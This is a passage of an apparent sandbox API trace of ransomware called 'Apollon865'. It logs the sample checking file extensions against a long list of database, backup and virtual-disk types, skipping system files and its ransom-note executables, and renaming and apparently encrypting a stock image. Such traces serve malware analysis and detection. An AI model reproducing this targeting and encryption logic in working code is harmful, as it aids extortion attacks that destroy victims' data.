	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.226] lstrlenW (lpString="dbs") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.226] lstrlenW (lpString="dbt") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.226] lstrlenW (lpString="dbv") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.226] lstrlenW (lpString="dbx") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.226] lstrlenW (lpString="dcb") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.226] lstrlenW (lpString="dct") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.226] lstrlenW (lpString="dcx") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.226] lstrlenW (lpString="ddl") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.226] lstrlenW (lpString="dlis") returned 4
	[0059.227] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.227] lstrlenW (lpString="dp1") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.227] lstrlenW (lpString="dqy") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.227] lstrlenW (lpString="dsk") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.227] lstrlenW (lpString="dsn") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.227] lstrlenW (lpString="dtsx") returned 4
	[0059.227] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.227] lstrlenW (lpString="dxl") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.227] lstrlenW (lpString="eco") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.227] lstrlenW (lpString="ecx") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.227] lstrlenW (lpString="edb") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.227] lstrlenW (lpString="epim") returned 4
	[0059.227] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.227] lstrlenW (lpString="fcd") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.227] lstrlenW (lpString="fdb") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.227] lstrlenW (lpString="fic") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.227] lstrlenW (lpString="flexolibrary") returned 12
	[0059.227] lstrlenW (lpString="fm5") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.227] lstrlenW (lpString="fmp") returned 3
	[0059.227] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.227] lstrlenW (lpString="fmp12") returned 5
	[0059.227] lstrcmpiW (lpString1="e.jpg", lpString2="fmp12") returned -1
	[0059.228] lstrlenW (lpString="fmpsl") returned 5
	[0059.228] lstrcmpiW (lpString1="e.jpg", lpString2="fmpsl") returned -1
	[0059.228] lstrlenW (lpString="fol") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.228] lstrlenW (lpString="fp3") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.228] lstrlenW (lpString="fp4") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.228] lstrlenW (lpString="fp5") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.228] lstrlenW (lpString="fp7") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.228] lstrlenW (lpString="fpt") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.228] lstrlenW (lpString="frm") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0059.228] lstrlenW (lpString="gdb") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.228] lstrlenW (lpString="gdb") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.228] lstrlenW (lpString="grdb") returned 4
	[0059.228] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.228] lstrlenW (lpString="gwi") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.228] lstrlenW (lpString="hdb") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.228] lstrlenW (lpString="his") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.228] lstrlenW (lpString="ib") returned 2
	[0059.228] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.228] lstrlenW (lpString="idb") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.228] lstrlenW (lpString="ihx") returned 3
	[0059.228] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.229] lstrlenW (lpString="itdb") returned 4
	[0059.229] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.229] lstrlenW (lpString="itw") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.229] lstrlenW (lpString="jet") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.229] lstrlenW (lpString="jtx") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.229] lstrlenW (lpString="kdb") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.229] lstrlenW (lpString="kexi") returned 4
	[0059.229] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.229] lstrlenW (lpString="kexic") returned 5
	[0059.229] lstrcmpiW (lpString1="e.jpg", lpString2="kexic") returned -1
	[0059.229] lstrlenW (lpString="kexis") returned 5
	[0059.229] lstrcmpiW (lpString1="e.jpg", lpString2="kexis") returned -1
	[0059.229] lstrlenW (lpString="lgc") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.229] lstrlenW (lpString="lwx") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.229] lstrlenW (lpString="maf") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.229] lstrlenW (lpString="maq") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.229] lstrlenW (lpString="mar") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.229] lstrlenW (lpString="marshal") returned 7
	[0059.229] lstrcmpiW (lpString1="lue.jpg", lpString2="marshal") returned -1
	[0059.229] lstrlenW (lpString="mas") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.229] lstrlenW (lpString="mav") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.229] lstrlenW (lpString="maw") returned 3
	[0059.229] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.230] lstrlenW (lpString="mdbhtml") returned 7
	[0059.230] lstrcmpiW (lpString1="lue.jpg", lpString2="mdbhtml") returned -1
	[0059.230] lstrlenW (lpString="mdn") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.230] lstrlenW (lpString="mdt") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.230] lstrlenW (lpString="mfd") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.230] lstrlenW (lpString="mpd") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.230] lstrlenW (lpString="mrg") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.230] lstrlenW (lpString="mud") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.230] lstrlenW (lpString="mwb") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.230] lstrlenW (lpString="myd") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.230] lstrlenW (lpString="ndf") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.230] lstrlenW (lpString="nnt") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.230] lstrlenW (lpString="nrmlib") returned 6
	[0059.230] lstrcmpiW (lpString1="ue.jpg", lpString2="nrmlib") returned 1
	[0059.230] lstrlenW (lpString="ns2") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.230] lstrlenW (lpString="ns3") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.230] lstrlenW (lpString="ns4") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.230] lstrlenW (lpString="nsf") returned 3
	[0059.230] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.230] lstrlenW (lpString="nv") returned 2
	[0059.231] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.231] lstrlenW (lpString="nv2") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.231] lstrlenW (lpString="nwdb") returned 4
	[0059.231] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.231] lstrlenW (lpString="nyf") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.231] lstrlenW (lpString="odb") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.231] lstrlenW (lpString="odb") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.231] lstrlenW (lpString="oqy") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.231] lstrlenW (lpString="ora") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.231] lstrlenW (lpString="orx") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.231] lstrlenW (lpString="owc") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.231] lstrlenW (lpString="p96") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.231] lstrlenW (lpString="p97") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.231] lstrlenW (lpString="pan") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.231] lstrlenW (lpString="pdb") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.231] lstrlenW (lpString="pdm") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.231] lstrlenW (lpString="pnz") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.231] lstrlenW (lpString="qry") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.231] lstrlenW (lpString="qvd") returned 3
	[0059.231] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.232] lstrlenW (lpString="rbf") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.232] lstrlenW (lpString="rctd") returned 4
	[0059.232] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.232] lstrlenW (lpString="rod") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.232] lstrlenW (lpString="rodx") returned 4
	[0059.232] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.232] lstrlenW (lpString="rpd") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.232] lstrlenW (lpString="rsd") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.232] lstrlenW (lpString="sas7bdat") returned 8
	[0059.232] lstrcmpiW (lpString1="Blue.jpg", lpString2="sas7bdat") returned -1
	[0059.232] lstrlenW (lpString="sbf") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.232] lstrlenW (lpString="scx") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.232] lstrlenW (lpString="sdb") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.232] lstrlenW (lpString="sdc") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.232] lstrlenW (lpString="sdf") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.232] lstrlenW (lpString="sis") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.232] lstrlenW (lpString="spq") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.232] lstrlenW (lpString="te") returned 2
	[0059.232] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.232] lstrlenW (lpString="teacher") returned 7
	[0059.232] lstrcmpiW (lpString1="lue.jpg", lpString2="teacher") returned -1
	[0059.232] lstrlenW (lpString="tmd") returned 3
	[0059.232] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.233] lstrlenW (lpString="tps") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.233] lstrlenW (lpString="trc") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.233] lstrlenW (lpString="trc") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.233] lstrlenW (lpString="trm") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.233] lstrlenW (lpString="udb") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.233] lstrlenW (lpString="udl") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.233] lstrlenW (lpString="usr") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.233] lstrlenW (lpString="v12") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.233] lstrlenW (lpString="vis") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.233] lstrlenW (lpString="vpd") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.233] lstrlenW (lpString="vvv") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.233] lstrlenW (lpString="wdb") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.233] lstrlenW (lpString="wmdb") returned 4
	[0059.233] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.233] lstrlenW (lpString="wrk") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.233] lstrlenW (lpString="xdb") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.233] lstrlenW (lpString="xld") returned 3
	[0059.233] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.233] lstrlenW (lpString="xmlff") returned 5
	[0059.234] lstrcmpiW (lpString1="e.jpg", lpString2="xmlff") returned -1
	[0059.234] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.Apollon865") returned 88
	[0059.234] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.235] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.235] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=10569) returned 1
	[0059.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.235] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.236] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.236] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.236] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c50, lpName=0x0) returned 0x14c
	[0059.237] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c50) returned 0x100000
	[0059.239] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.239] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.239] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.240] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.240] CloseHandle (hObject=0x14c) returned 1
	[0059.240] CloseHandle (hObject=0x150) returned 1
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.241] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="Apollon865.txt.exe") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2=".") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="..") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="windows") returned -1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="bootmgr") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="temp") returned -1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="pagefile.sys") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="boot") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="ids.txt") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="ntuser.dat") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="perflogs") returned 1
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2="MSBuild") returned 1
	[0059.241] lstrlenW (lpString="Stars.htm") returned 9
	[0059.241] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned 77
	[0059.241] lstrcpyW (in: lpString1=0x119e68a, lpString2="Stars.htm" | out: lpString1="Stars.htm") returned="Stars.htm"
	[0059.241] lstrlenW (lpString="Stars.htm") returned 9
	[0059.241] lstrlenW (lpString="Apollon865") returned 10
	[0059.241] lstrlenW (lpString=".dll") returned 4
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2=".dll") returned 1
	[0059.241] lstrlenW (lpString=".lnk") returned 4
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2=".lnk") returned 1
	[0059.241] lstrlenW (lpString=".ini") returned 4
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2=".ini") returned 1
	[0059.241] lstrlenW (lpString=".sys") returned 4
	[0059.241] lstrcmpiW (lpString1="Stars.htm", lpString2=".sys") returned 1
	[0059.241] lstrlenW (lpString="Stars.htm") returned 9
	[0059.241] lstrlenW (lpString="bak") returned 3
	[0059.241] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0059.241] lstrlenW (lpString="ba_") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0059.242] lstrlenW (lpString="dbb") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0059.242] lstrlenW (lpString="vmdk") returned 4
	[0059.242] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0059.242] lstrlenW (lpString="rar") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0059.242] lstrlenW (lpString="zip") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0059.242] lstrlenW (lpString="tgz") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0059.242] lstrlenW (lpString="vbox") returned 4
	[0059.242] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0059.242] lstrlenW (lpString="vdi") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0059.242] lstrlenW (lpString="vhd") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0059.242] lstrlenW (lpString="vhdx") returned 4
	[0059.242] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0059.242] lstrlenW (lpString="avhd") returned 4
	[0059.242] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0059.242] lstrlenW (lpString="db") returned 2
	[0059.242] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0059.242] lstrlenW (lpString="db2") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0059.242] lstrlenW (lpString="db3") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0059.242] lstrlenW (lpString="dbf") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0059.242] lstrlenW (lpString="mdf") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0059.242] lstrlenW (lpString="mdb") returned 3
	[0059.242] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0059.243] lstrlenW (lpString="sql") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0059.243] lstrlenW (lpString="sqlite") returned 6
	[0059.243] lstrcmpiW (lpString1="rs.htm", lpString2="sqlite") returned -1
	[0059.243] lstrlenW (lpString="sqlite3") returned 7
	[0059.243] lstrcmpiW (lpString1="ars.htm", lpString2="sqlite3") returned -1
	[0059.243] lstrlenW (lpString="sqlitedb") returned 8
	[0059.243] lstrcmpiW (lpString1="tars.htm", lpString2="sqlitedb") returned 1
	[0059.243] lstrlenW (lpString="xml") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0059.243] lstrlenW (lpString="$er") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0059.243] lstrlenW (lpString="4dd") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0059.243] lstrlenW (lpString="4dl") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0059.243] lstrlenW (lpString="^^^") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0059.243] lstrlenW (lpString="abs") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0059.243] lstrlenW (lpString="abx") returned 3
	[0059.243] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0059.243] lstrlenW (lpString="accdb") returned 5
	[0059.243] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0059.243] lstrlenW (lpString="accdc") returned 5
	[0059.243] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0059.243] lstrlenW (lpString="accde") returned 5
	[0059.243] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0059.243] lstrlenW (lpString="accdr") returned 5
	[0059.243] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0059.243] lstrlenW (lpString="accdt") returned 5
	[0059.243] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
	[0059.243] lstrlenW (lpString="accdw") returned 5
	[0059.243] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0059.243] lstrlenW (lpString="accft") returned 5
	[0059.244] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0059.244] lstrlenW (lpString="adb") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.244] lstrlenW (lpString="adb") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.244] lstrlenW (lpString="ade") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0059.244] lstrlenW (lpString="adf") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0059.244] lstrlenW (lpString="adn") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0059.244] lstrlenW (lpString="adp") returned 3
	[0059.244] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0059.244] lstrlenW (lpString="alf") returned 3
